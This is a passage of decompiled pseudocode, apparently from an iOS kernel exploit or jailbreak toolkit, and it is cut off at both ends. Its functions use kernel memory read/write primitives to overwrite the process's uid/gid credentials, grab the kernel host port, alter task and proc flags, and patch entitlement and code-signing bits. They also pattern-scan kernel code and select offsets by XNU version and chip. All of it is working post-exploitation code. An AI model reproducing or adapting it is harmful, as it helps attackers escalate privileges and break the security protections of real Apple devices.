      return result;
  }
  else
  {
    result = kread_physmap_two_hops(a1, target_task);
    if ( !result )
      return result;
  }
  v20 = result + v16;
  result = krw_read_thunk(a1, v20, (unsigned int)a5, __s1);
  if ( !(uint32_t)result )
    return result;
  if ( memcmp(__s1, task_info_out, (unsigned int)a5) )
    return 0;
  if ( !a1->gap191[690] && a3 == 2 && mach_task_self_ == target_task )
  {
    a1->gap191[691] = *(uint64_t *)task_info_out;
    a1->gap191[690] = v20;
  }
  return kwritebuf_universal(a1, v20, a4, a5);
}

//----- (0000000000039EAC) ----------------------------------------------------
__int64 __fastcall create_pthread_something(__int64 a1, pthread_t *a2, __int64 a3, void *a4)
{
  int v8; // w0
  int v9; // w8
  __int64 v10; // x20
  int v11; // w0
  void *(__cdecl *v12)(void *); // x0
  int v13; // w8
  mach_port_t v15; // w0
  thread_act_t v16; // w22
  unsigned int v17; // w1
  int v18; // w0
  kern_return_t v19; // w0
  pthread_t v20; // [xsp+0h] [xbp-70h] BYREF
  pthread_attr_t v21; // [xsp+8h] [xbp-68h] BYREF

  v20 = 0;
  v8 = pthread_attr_init(&v21);
  if ( v8 )
  {
    if ( v8 >= 0 )
      v9 = v8;
    else
      v9 = -v8;
    return v9 | 0x40000000u;
  }
  else
  {
    v11 = pthread_attr_setdetachstate(&v21, 1);
    if ( v11
      || (v12 = (void *(__cdecl *)(void *))nullsub_1(a3), (v11 = pthread_create_suspended_np(&v20, &v21, v12, a4)) != 0) )
    {
      if ( v11 >= 0 )
        v13 = v11;
      else
        v13 = -v11;
      v10 = v13 | 0x40000000u;
    }
    else
    {
      v10 = 163843;
      v15 = pthread_mach_thread_np(v20);
      if ( v15 )
      {
        v16 = v15;
        v17 = *(uint32_t *)(a1 + 6428);
        if ( !v17 )
          v17 = *(uint32_t *)(a1 + 6424);
        if ( kwrite_task_dispatch_via_kobj((struct_krwCtx *)a1, v17, v15) )
        {
          v19 = thread_resume(v16);
          if ( v19 )
          {
            v10 = v19 | 0x80000000;
          }
          else
          {
            v10 = 0;
            *a2 = v20;
          }
        }
      }
      else
      {
        v10 = 163848;
      }
    }
    pthread_attr_destroy(&v21);
  }
  return v10;
}
// 39FA8: variable 'v18' is possibly undefined
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000039FDC) ----------------------------------------------------
bool __fastcall kwrite_task_dispatch_via_kobj(struct_krwCtx *someCtx, unsigned int a2, unsigned int a3)
{
  int v5; // w22
  __int64 v6; // x0
  unsigned __int64 newValue; // x20
  unsigned __int64 v8; // x0
  mach_vm_address_t address; // x23
  __int64 v10; // [xsp+8h] [xbp-38h] BYREF
  __int64 vars8; // [xsp+48h] [xbp+8h]

  if ( someCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    v5 = 1;
  else
    v5 = 0x4000000;
  if ( a2 )
  {
    v6 = get_kobj_and_resolve_kaddr(someCtx, a2, 0);
    if ( v6 )
    {
      newValue = v6;
      v8 = get_task_kobj_dispatch(someCtx, a3);
      if ( v8 )
      {
        address = v8;
        if ( kread_physmap_decorated(someCtx, v8, (unsigned __int64 *)&v10) )
        {
          if ( (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0((__int64)someCtx, a3, v5, 1) )
          {
            vm_attr_increment_offset_check(someCtx, newValue);
            if ( someCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
              return kwrite64((__int64)someCtx, address, newValue);
            else
              return kwrite64_dispatch(someCtx, address, newValue);
          }
        }
      }
    }
  }
  else
  {
    return set_flags_something_INEEDTOLOOK_sub_3F8C0((__int64)someCtx, a3, v5, 0);
  }
    return 0;
}

//----- (000000000003A100) ----------------------------------------------------
bool __fastcall pthread_create_and_join(__int64 a1, __int64 a2, void *a3)
{
  int v3; // w0
  pthread_t v5; // [xsp+8h] [xbp-8h] BYREF

  v5 = 0;
  v3 = create_pthread_something(a1, &v5, a2, a3);
  if ( !v3 )
    v3 = pthread_join(v5, 0) != 0;
  return v3 == 0;
}

//----- (000000000003A150) ----------------------------------------------------
__int64 __fastcall get_or_set_uid_cred_in_task(__int64 a1, int a2, int a3, int a4)
{
  uid_t v8; // w21
  __int64 result; // x0
  unsigned __int64 v10; // x23
  unsigned __int64 v11; // x0
  int v12; // w8
  __int64 v13; // x8
  unsigned __int64 v14; // x21
  __int64 v15; // x0
  __int64 v16; // x0
  unsigned __int64 v17; // x0
  uint32_t v18[4]; // [xsp+0h] [xbp-150h] BYREF
  __int128 v19; // [xsp+10h] [xbp-140h]
  __int128 v20; // [xsp+20h] [xbp-130h]
  __int128 v21; // [xsp+30h] [xbp-120h]
  __int128 v22; // [xsp+40h] [xbp-110h]
  int v23; // [xsp+50h] [xbp-100h]
  int v24; // [xsp+54h] [xbp-FCh]
  __int64 __s2; // [xsp+68h] [xbp-E8h] BYREF
  int __s2_12; // [xsp+74h] [xbp-DCh]
  __int128 v27; // [xsp+78h] [xbp-D8h]
  __int128 v28; // [xsp+88h] [xbp-C8h]
  __int128 v29; // [xsp+98h] [xbp-B8h]
  __int128 v30; // [xsp+A8h] [xbp-A8h]
  int v31; // [xsp+CCh] [xbp-84h] BYREF
  uint64_t v32[3]; // [xsp+D0h] [xbp-80h] BYREF
  int v33; // [xsp+ECh] [xbp-64h] BYREF
  __int64 v34; // [xsp+F0h] [xbp-60h] BYREF
  __int64 v35; // [xsp+F8h] [xbp-58h] BYREF
  __int64 v36; // [xsp+100h] [xbp-50h] BYREF
  unsigned __int64 v37; // [xsp+108h] [xbp-48h] BYREF

  v8 = getuid();
  result = get_kobj_and_resolve_kaddr((struct_krwCtx *)a1, mach_task_self_, 0);
  if ( result )
  {
    result = krw_read_thunk((struct_krwCtx *)a1, result + 104, 4, &v31);
    if ( (uint32_t)result )
    {
      if ( !*(uint32_t *)(a1 + 6416) && !*(uint32_t *)(a1 + 6420) )
      {
        *(uint32_t *)(a1 + 6416) = v8;
        *(uint32_t *)(a1 + 6420) = v31;
      }
      if ( v8 == a2 && v31 == a3 )
        return 1;
      if ( a4 )
        goto LABEL_10;
      if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) )
        return 0;
      result = *(uint64_t *)(a1 + 6368);
      if ( !result )
      {
LABEL_10:
        __s2 = 0;
        result = get_kobj_and_resolve_kaddr((struct_krwCtx *)a1, mach_task_self_, &__s2);
        if ( !result )
          return result;
        if ( !*(uint64_t *)(a1 + 6368) )
        {
          *(uint64_t *)(a1 + 6368) = result;
          *(uint64_t *)(a1 + 6376) = __s2;
        }
      }
      v10 = result + 24;
      result = krw_read_thunk((struct_krwCtx *)a1, result + 24, 88, &__s2);
      if ( (uint32_t)result )
      {
        v18[3] = __s2_12;
        v19 = v27;
        v20 = v28;
        v21 = v29;
        v22 = v30;
        v18[0] = a2;
        v18[1] = a2;
        v18[2] = a2;
        LODWORD(v19) = a3;
        v23 = a3;
        v24 = a3;
        if ( !memcmp(v18, &__s2, 0x58u) || (result = kwritebuf_universal((uint64_t *)a1, v10, v18, 0x58u), (uint32_t)result) )
        {
          v11 = kread_task_struct((struct_krwCtx *)a1, mach_task_self_);
          v37 = v11;
          if ( v11 )
          {
            v12 = *(uint32_t *)(a1 + 320);
            if ( v12 > 8791 )
            {
              if ( v12 != 8792 && v12 != 8796 && v12 != 10002 )
                return 0;
              v13 = 168;
            }
            else if ( (unsigned int)(v12 - 8019) < 2 )
            {
              v13 = 176;
            }
            else if ( v12 == 6153 )
            {
              v13 = 200;
            }
            else
            {
              if ( v12 != 7195 )
                return 0;
              v13 = 184;
            }
            if ( kread_physmap_decorated((struct_krwCtx *)a1, v13 + v11, &v37) )
            {
              if ( v37 )
              {
                if ( !validate_kaddr_range(a1, v37) )
                  return 0;
              }
              else
              {
                if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
                {
                  v14 = *(uint64_t *)(a1 + 6544);
                  if ( !v14 )
                  {
                    macho_find_text_section(*(uint64_t *)(a1 + 6648), v32);
                    v16 = kernel_pattern_scan((__int64)v32, "00 7D 04 13 .. .. .. .. .. .. .. .. 21 05 80 52", 0);
                    if ( !v16 )
                      return 0;
                    v17 = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(v16 + 4));
                    if ( !v17 )
                      return 0;
                    v14 = v17;
                    *(uint64_t *)(a1 + 6544) = v17;
                  }
                  if ( kread_physmap_decorated((struct_krwCtx *)a1, v14, &v37)
                    && v37 <= 0x3FF
                    && kread_physmap_decorated((struct_krwCtx *)a1, v14 + *(int *)(a1 + 360), (unsigned __int64 *)&v36)
                    && validate_kaddr_range(a1, v36)
                    && kread_physmap_decorated(
                         (struct_krwCtx *)a1,
                         v36 + ((unsigned int)v37 & a2) * (__int64)*(int *)(a1 + 360),
                         (unsigned __int64 *)&v35)
                    && validate_kaddr_range(a1, v35) )
                  {
                    v15 = v35;
                    while ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v15 + 2LL * *(int *)(a1 + 360), 4, &v33) )
                    {
                      if ( v33 == a2 )
                      {
                        if ( kread_physmap_decorated(
                               (struct_krwCtx *)a1,
                               v35 + 3LL * *(int *)(a1 + 360),
                               (unsigned __int64 *)&v34) )
                        {
                          v34 += 4;
                          if ( kwrite_physmap_with_a3_ptr(a1, v35 + 3LL * *(int *)(a1 + 360), v34) )
                          {
                            if ( v35 )
                              return 1;
                          }
                        }
                        return 0;
                      }
                      if ( kread_physmap_decorated((struct_krwCtx *)a1, v35, (unsigned __int64 *)&v35) )
                      {
                        v15 = validate_kaddr_range(a1, v35);
                        v35 = v15;
                        if ( v15 )
                          continue;
                      }
                      return 0;
                    }
                  }
                  return 0;
                }
                v16 = find_kernel_func_at_offset(a1, 0);
                if ( !v16
                  || !(unsigned int)build_kernel_vtable(a1, v16, a2, 1, 0, 0, &v37)
                  || !(unsigned int)build_kernel_vtable(a1, v16, a3, -1, 0, 0, &v37) )
                  return 0;
              }
              return 1;
            }
          }
          return 0;
        }
      }
    }
  }
  return result;
}
// 3A150: too many cbuild loops

//----- (000000000003A57C) ----------------------------------------------------
bool __fastcall kread_u32_modify_lo10_kwrite(__int64 a1, unsigned __int64 a2, int a3, int *a4)
{
  uint64_t result; // x0
  int v9; // w2
  int v10; // [xsp+Ch] [xbp-24h] BYREF

  result = kread_u32(a1, a2, &v10);
  if ( result )
  {
    v9 = v10;
    if ( a4 )
      *a4 = v10 & 0x3FF;
    return noppl_kwrite32(a1, a2, v9 & 0xFFFFFC00 | a3 & 0x3FF) != 0;
  }
  return result;
}

//----- (000000000003A5F0) ----------------------------------------------------
__int64 __fastcall insert_task_port_send_right_versioned(__int64 a1, task_name_t a2)
{
  unsigned __int64 v2; // x8
  unsigned int v4; // w2
  unsigned int v5; // w4
  bool v6; // zf
  __int128 v7; // [xsp+0h] [xbp-20h] BYREF
  __int64 vars8; // [xsp+28h] [xbp+8h]

  v2 = *(uint64_t *)(a1 + 344);
  if ( v2 < XNU_VERSION_PACKED(10002, 60, 75, 0, 3) )
  {
    if ( v2 <= XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) )
    {
      if ( v2 < XNU_VERSION_PACKED(8796, 102, 5, 0, 0)
        || ((*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 ? (v6 = (*(uint32_t *)a1 & 1) == 0) : (v6 = 0), v6) )
      {
        v4 = 4;
        v5 = 15;
        goto LABEL_13;
      }
    }
  }
  else if ( (*(uint8_t *)a1 & 0x20) != 0 )
  {
    v7 = xmmword_43740;
    return insert_mach_port_send_right(a1, a2, 4u, (__int64)&v7, 0xFu);
  }
  v4 = 2;
  v5 = 3;
LABEL_13:
  return insert_mach_port_send_right(a1, a2, v4, 0, v5);
}
// 43740: using guessed type __int128 xmmword_43740;

//----- (000000000003A72C) ----------------------------------------------------
unsigned __int64 __fastcall get_kernel_task_host_port(__int64 a1)
{
  mach_port_t v2; // w20
  unsigned __int64 result; // x0
  unsigned __int64 v4; // x8
  unsigned __int64 v5; // x21
  kern_return_t special_port; // w20
  struct {
    int v7; // [xsp+8h] [xbp-28h] BYREF
    mach_port_t port; // [xsp+Ch] [xbp-24h] BYREF
  } locals;

  v2 = mach_host_self();
  result = *(unsigned int *)(a1 + 6432);
  if ( (unsigned int)(result + 1) <= 1 )
  {
    if ( !host_get_special_port(v2, -1, 2, &locals.port) )
      return locals.port;
    v4 = *(uint64_t *)(a1 + 344);
    if ( v4 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)
      && ((*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0
       || v4 > XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023)
       || v4 >= XNU_VERSION_PACKED(8020, 241, 8, 0, 0) && *(int *)(a1 + 320) <= 8791) )
    {
      result = get_ipc_port_kaddr_via_host(a1, 2);
      if ( !result )
        return result;
      if ( !(unsigned int)plist_elem_is_string_6((struct_krwCtx *)a1, result, &locals.port) )
        return locals.port;
      return 0;
    }
    result = task_self_get_ipc_port((struct_krwCtx *)a1, v2);
    if ( result )
    {
      v5 = result;
      result = kread_u32_modify_lo10_kwrite(a1, result, 4, &locals.v7);
      if ( (uint32_t)result )
      {
        special_port = host_get_special_port(v2, -1, 2, &locals.port);
        kread_u32_modify_lo10_kwrite(a1, v5, locals.v7, 0);
        if ( special_port )
          return 0;
        return locals.port;
      }
    }
  }
  return result;
}

//----- (000000000003A878) ----------------------------------------------------
unsigned __int64 __fastcall get_ioservice_conn_port(__int64 a1)
{
  unsigned __int64 result; // x0
  mach_port_name_t v3; // [xsp+Ch] [xbp-14h] BYREF

  result = *(unsigned int *)(a1 + 6436);
  if ( (unsigned int)(result + 1) <= 1 )
  {
    result = get_ipc_port_kaddr_via_host(a1, 0);
    if ( result )
    {
      if ( (unsigned int)plist_elem_is_string_6((struct_krwCtx *)a1, result, &v3) )
        return 0;
      else
        return v3;
    }
  }
  return result;
}

//----- (000000000003A8DC) ----------------------------------------------------
__int64 __fastcall kread_proc_kobj_entitlement_data(__int64 a1, unsigned int a2)
{
  __int64 result; // x0
  __int64 v5; // x8
  unsigned __int64 v6; // x1
  unsigned __int64 *v7; // x2
  int v8; // w0
  __int64 v9; // [xsp+0h] [xbp-40h] BYREF
  unsigned __int64 v10; // [xsp+8h] [xbp-38h] BYREF
  __int64 v11; // [xsp+10h] [xbp-30h] BYREF
  unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF
  unsigned __int64 v13; // [xsp+20h] [xbp-20h] BYREF
  __int64 v14; // [xsp+28h] [xbp-18h] BYREF

  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
    return 1;
  result = task_struct_field_kread((struct_krwCtx *)a1, a2);
  if ( result )
  {
    result = kread_physmap_decorated((struct_krwCtx *)a1, result + 176, (unsigned __int64 *)&v14);
    if ( (uint32_t)result )
    {
      result = validate_kaddr_range(a1, v14);
      if ( result )
      {
        result = kread_physmap_decorated((struct_krwCtx *)a1, v14 + 80, &v13);
        if ( (uint32_t)result )
        {
          if ( v13 )
          {
            v5 = *(uint64_t *)(a1 + 296);
            if ( v5 )
            {
              if ( v13 != v5 )
              {
                v11 = 0;
                v12 = 0;
                v9 = 0;
                v10 = 0;
                if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v5 + 40, 8, &v10)
                  || !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)(a1 + 296) + 48LL, 8, &v9)
                  || !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v13 + 40, 8, &v12)
                  || !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v13 + 48, 8, &v11) )
                {
                  return 0;
                }
                if ( v12 <= v10 )
                {
                  v6 = v13 + 48;
                  v7 = (unsigned __int64 *)&v9;
                }
                else
                {
                  v6 = v13 + 40;
                  v7 = &v10;
                }
                if ( !necp_kread_region(a1, v6, (__int64)v7, 8) )
                  return 0;
              }
            }
          }
          return 1;
        }
      }
    }
  }
  return result;
}
// 3AA0C: variable 'v8' is possibly undefined

//----- (000000000003AA2C) ----------------------------------------------------
int __fastcall necp_send_msg_3(__int64 a1, unsigned int a2, int a3)
{
  int v6; // w8
  unsigned __int64 v7; // x0
  int v8; // w0
  __int64 v9; // x22
  int v10; // w8
  bool v11; // zf
  __int64 v12; // x8
  __int64 v13; // x9
  unsigned __int64 v14; // x0
  __int64 v15; // x21
  __int64 v16; // x22
  unsigned __int64 v17; // x0
  unsigned __int64 v18; // x22
  int v19; // w0
  int v20; // w0
  unsigned __int64 v21; // [xsp+8h] [xbp-38h] BYREF
  __int64 v22; // [xsp+10h] [xbp-30h] BYREF
  unsigned int v23; // [xsp+1Ch] [xbp-24h] BYREF

  v23 = 0;
  if ( !(unsigned int)validate_physmap_range_6((struct_krwCtx *)a1, a2) )
    return 0;
  if ( !a3 )
  {
    if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
    {
      v7 = task_struct_field_kread((struct_krwCtx *)a1, a2);
      if ( !v7 )
        return 0;
      if ( !kread_physmap_decorated((struct_krwCtx *)a1, v7 + 176, (unsigned __int64 *)&v22) )
        return 0;
      if ( !validate_kaddr_range(a1, v22) )
        return 0;
      if ( !kread_physmap_decorated((struct_krwCtx *)a1, v22 + 80, &v21) )
        return 0;
      if ( v21 )
      {
        *(uint64_t *)(a1 + 296) = v21;
        v21 = 0;
        if ( !necp_kread_region(a1, v22 + 80, (__int64)&v21, *(unsigned int *)(a1 + 360)) )
          return 0;
      }
      goto LABEL_3;
    }
    if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
      goto LABEL_3;
    v22 = 0;
    v10 = *(uint32_t *)(a1 + 320);
    if ( v10 < 10002 )
    {
      if ( v10 < 8019 )
      {
        if ( v10 < 7195 )
        {
          if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
            v16 = 240;
          else
            v16 = 232;
LABEL_38:
          v17 = task_struct_field_kread((struct_krwCtx *)a1, a2);
          if ( !v17 )
            return 0;
          v18 = v17 + v16;
          if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v18, 8, &v22) )
            return 0;
          if ( v22 )
          {
            v21 = 0;
            if ( (vm_page_mask & v22) != 0 )
              return 0;
            if ( !necp_kread_region(a1, v18, (__int64)&v21, 8) )
              return 0;
            if ( !necp_kread_region(a1, v18 + 8, (__int64)&v21, 8) )
              return 0;
          }
          goto LABEL_3;
        }
        v11 = !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A14);
        v12 = 224;
        v13 = 216;
      }
      else
      {
        v11 = !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A14_A15_A16_MASK);
        v12 = 160;
        v13 = 152;
      }
    }
    else
    {
      v11 = !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A14_A15_A16_MASK);
      v12 = 168;
      v13 = 160;
    }
    if ( v11 )
      v16 = v13;
    else
      v16 = v12;
    goto LABEL_38;
  }
LABEL_3:
  v6 = *(uint32_t *)(a1 + 320);
  if ( v6 <= 8019 )
  {
    v9 = 268;
    if ( v6 != 6153 && v6 != 7195 )
    {
      if ( v6 != 8019 )
        return 0;
      v9 = 284;
    }
    goto LABEL_28;
  }
  if ( v6 > 8795 )
  {
    if ( v6 != 8796 )
    {
      if ( v6 != 10002 )
        return 0;
      v9 = 200;
      goto LABEL_28;
    }
    goto LABEL_23;
  }
  if ( v6 != 8020 )
  {
    if ( v6 != 8792 )
      return 0;
LABEL_23:
    v9 = 180;
    goto LABEL_28;
  }
  v9 = 148;
LABEL_28:
  v14 = find_kernel_struct_addr((struct_krwCtx *)a1, a2);
  if ( v14 )
  {
    v15 = v14 + v9;
    if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v14 + v9, 4, &v23) )
    {
      v23 = v23 & 0xFFFFFBFF | ((a3 != 0) << 10);
      return kwrite_with_retry(a1, v15, (__int64)&v23, 4);
    }
  }
  return 0;
}
// 3AB20: variable 'v8' is possibly undefined
// 3AD0C: variable 'v19' is possibly undefined
// 3AD24: variable 'v20' is possibly undefined

//----- (000000000003AD2C) ----------------------------------------------------
__int64 __fastcall get_task_port_pid_field_offset(struct_krwCtx *a1, unsigned int a2)
{
  unsigned __int64 v3; // x0
  __int64 v4; // x8
  int xnuMajorVersion; // w9
  __int64 v6; // x8
  mach_vm_address_t v7; // x20
  unsigned int v8; // w8
  unsigned int v10; // w9
  unsigned int v11; // [xsp+Ch] [xbp-14h] BYREF

  v3 = kread_task_struct(a1, a2);
  if ( !v3 )
    return 0;
  v4 = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion <= 8019 )
  {
    switch ( xnuMajorVersion )
    {
      case 6153:
        v6 = 960;
        break;
      case 7195:
        v6 = 936;
        break;
      case 8019:
        v6 = 1072;
        if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v6 = 1232;
        break;
      default:
        return v4;
    }
    goto LABEL_19;
  }
  if ( xnuMajorVersion > 8795 )
  {
    if ( xnuMajorVersion != 8796 && xnuMajorVersion != 10002 )
      return v4;
    v6 = 1700;
LABEL_19:
    v7 = v6 + v3;
    if ( kread_u32((__int64)a1, v6 + v3, &v11) )
    {
      v8 = v11;
      if ( !HIBYTE(v11) )
      {
        v10 = a1->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) ? v11 | 0x20 : v11 & 0xFFF71FDF | 0x80000;
        v11 = v10 & 0xFFFF1FFF;
        if ( v8 == (v10 & 0xFFFF1FFF) || noppl_kwrite32((__int64)a1, v7, v10 & 0xFFFF1FFF) )
          return 1;
      }
    }
    return 0;
  }
  if ( xnuMajorVersion == 8020 )
  {
    v6 = 1224;
    goto LABEL_19;
  }
  if ( xnuMajorVersion == 8792 )
  {
    v6 = 1196;
    goto LABEL_19;
  }
  return v4;
}

//----- (000000000003AE94) ----------------------------------------------------
bool __fastcall kread_proc_kobj_entitlement_full(__int64 a1, unsigned int a2, int a3, int a4, int a5)
{
  unsigned __int64 v10; // x0
  unsigned __int64 v11; // x22
  __int64 v12; // x23
  __int64 v13; // x0
  __int64 v14; // x24
  unsigned __int64 v15; // x0
  __int64 v16; // x23
  unsigned __int64 v17; // x0
  __int64 v18; // x0
  __int64 v19; // x23
  int v20; // w8
  struct_krwCtx *v21; // x0
  int v22; // w1
  bool v23; // zf
  __int64 v24; // x8
  __int64 v25; // x9
  int v26; // w8
  __int64 v27; // x8
  unsigned __int64 v28; // x22
  unsigned __int64 v29; // x8
  bool v30; // cc
  int v31; // w8
  int v32; // w11
  int v33; // w10
  int v34; // w8
  int v35; // w0
  unsigned __int64 v36; // x26
  unsigned __int64 v37; // x8
  __int64 v38; // x23
  unsigned __int64 v39; // x28
  bool v40; // zf
  unsigned __int64 v41; // x27
  __int64 v42; // x24
  __int64 v43; // x20
  struct_a1 *v44; // x0
  __int128 v45; // q1
  __int64 v46; // [xsp+8h] [xbp-98h]
  __int64 v47; // [xsp+10h] [xbp-90h] BYREF
  unsigned __int8 v48; // [xsp+1Eh] [xbp-82h] BYREF
  char v49; // [xsp+1Fh] [xbp-81h] BYREF
  __int64 v50; // [xsp+20h] [xbp-80h] BYREF
  unsigned __int64 v51[3]; // [xsp+28h] [xbp-78h] BYREF
  char newBytes; // [xsp+43h] [xbp-5Dh] BYREF
  int v53; // [xsp+44h] [xbp-5Ch] BYREF
  __int64 v54; // [xsp+48h] [xbp-58h] BYREF

  v50 = 0;
  v10 = task_struct_field_kread((struct_krwCtx *)a1, a2);
  if ( !v10 )
    return 0;
  v11 = v10;
  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
  {
    if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
    {
      if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A11) )
        return 0;
      v26 = *(uint32_t *)(a1 + 320);
      if ( v26 <= 8791 )
      {
        if ( v26 <= 8018 )
        {
          if ( v26 <= 7194 )
          {
            if ( v26 < 6153 )
              return 0;
            v27 = 239;
            if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
              v27 = 231;
          }
          else
          {
            v27 = 223;
          }
        }
        else
        {
          v27 = 151;
        }
      }
      else
      {
        v27 = 143;
      }
      v43 = v27 + v11;
      if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v27 + v11, 1, (char *)&v50 + 4) )
      {
        LODWORD(v50) = a5;
        if ( HIDWORD(v50) != a5 )
          kwrite_with_retry(a1, v43, (__int64)&v50, 1);
      }
      return 0;
    }
    v20 = *(uint32_t *)(a1 + 320);
    if ( v20 >= 10002 )
    {
      v21 = (struct_krwCtx *)a1;
      v22 = 18350080;
LABEL_26:
      v23 = !krw_ctx_has_flag(v21, v22);
      v24 = 199;
      v25 = 191;
      goto LABEL_32;
    }
    if ( v20 < 8792 )
    {
      if ( v20 >= 8019 )
      {
        v21 = (struct_krwCtx *)a1;
        v22 = 1572864;
        goto LABEL_26;
      }
      if ( v20 < 7195 )
      {
        v24 = 271;
        if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
          v24 = 263;
LABEL_34:
        v28 = v24 + v11;
        if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v28, 4, (char *)&v50 + 4) )
        {
          v29 = *(uint64_t *)(a1 + 344);
          v30 = v29 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023);
          if ( v29 <= XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) )
            v31 = -16777216;
          else
            v31 = 65280;
          if ( v30 )
            v32 = 0x1000000;
          else
            v32 = 0x10000;
          if ( v30 )
            v33 = 0x10000;
          else
            v33 = 256;
          v34 = HIDWORD(v50) & v31;
          if ( !a4 )
            v32 = 0;
          if ( !a3 )
            v33 = 0;
          LODWORD(v50) = v32 | v33 | a5 | v34;
          if ( HIDWORD(v50) == (uint32_t)v50 || necp_kread_region(a1, v28, (__int64)&v50, 4) )
          {
            if ( *(int *)(a1 + 320) <= 8018 )
              a4 |= a3 ^ 1;
            if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || csblob_modify_entitlement_bits((struct_krwCtx *)a1, a2, a4, a5) )
              goto LABEL_54;
          }
        }
        return 0;
      }
      v23 = !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A14);
      v24 = 263;
      v25 = 255;
    }
    else
    {
      v23 = !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A14_A15_A16_MASK);
      v24 = 191;
      v25 = 183;
    }
LABEL_32:
    if ( v23 )
      v24 = v25;
    goto LABEL_34;
  }
  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v11 + 146, 1, &v48) )
    return 0;
  if ( v48 == a5 )
    goto LABEL_17;
  v49 = a5;
  if ( !(unsigned int)kwrite_with_retry(a1, v11 + 146, (__int64)&v49, 1) )
    return 0;
  if ( !a5 )
  {
LABEL_17:
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v11 + 176, v51) )
      return 0;
    if ( !validate_kaddr_range(a1, v51[0]) )
      return 0;
    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v51[0] + 32, 1, &v54) )
      return 0;
    v49 = a4;
    if ( (unsigned __int8)v54 != a4 && !(unsigned int)ppl_kwritebuf(a1, v51[0] + 32, &v49, 1) )
      return 0;
LABEL_54:
    if ( dyldVersionNumber >= 851.0 )
      set_proc_flag_bit7_kwrite((struct_krwCtx *)a1, a2, a4);
    return 1;
  }
  if ( !kread_physmap_decorated((struct_krwCtx *)a1, v11 + *(int *)(a1 + 360), (unsigned __int64 *)&v47) )
    return 0;
  v46 = v47;
  v12 = *(uint64_t *)(a1 + 7472);
  if ( v12 )
  {
LABEL_9:
    macho_find_text_section(v12, v51);
    v13 = kernel_pattern_scan((__int64)v51, "68 02 08 CB 1F 20 03 D5", 0);
    if ( v13 )
    {
      v14 = v13;
      v15 = find_kernel_func(*(__int64 **)(a1 + 7472), (__int64 *)(v13 - 8));
      if ( v15 )
      {
        v16 = macho_read_u64_thunk(*(uint64_t *)(a1 + 7472), v15);
        if ( validate_kaddr_range(a1, v16) )
        {
          v17 = find_kernel_func(*(__int64 **)(a1 + 7472), (__int64 *)(v14 + 4));
          if ( v17 )
          {
            v18 = macho_read_u64_thunk(*(uint64_t *)(a1 + 7472), v17);
            if ( v18 )
            {
              v19 = v16 + (((unsigned __int64)(v46 - v18) >> 10) & 0x3FFFFFFFFFFFF0LL) + 9;
              if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v19, 1, &newBytes) )
              {
                if ( (newBytes & 1) != 0 )
                  goto LABEL_17;
                newBytes |= 1u;
                if ( (unsigned int)ppl_kwritebuf(a1, v19, &newBytes, 1) )
                  goto LABEL_17;
              }
            }
          }
        }
      }
    }
  }
  else
  {
    map_physpage_to_user(a1, 0, 0, 0);
    if ( *(uint32_t *)(a1 + 6304) )
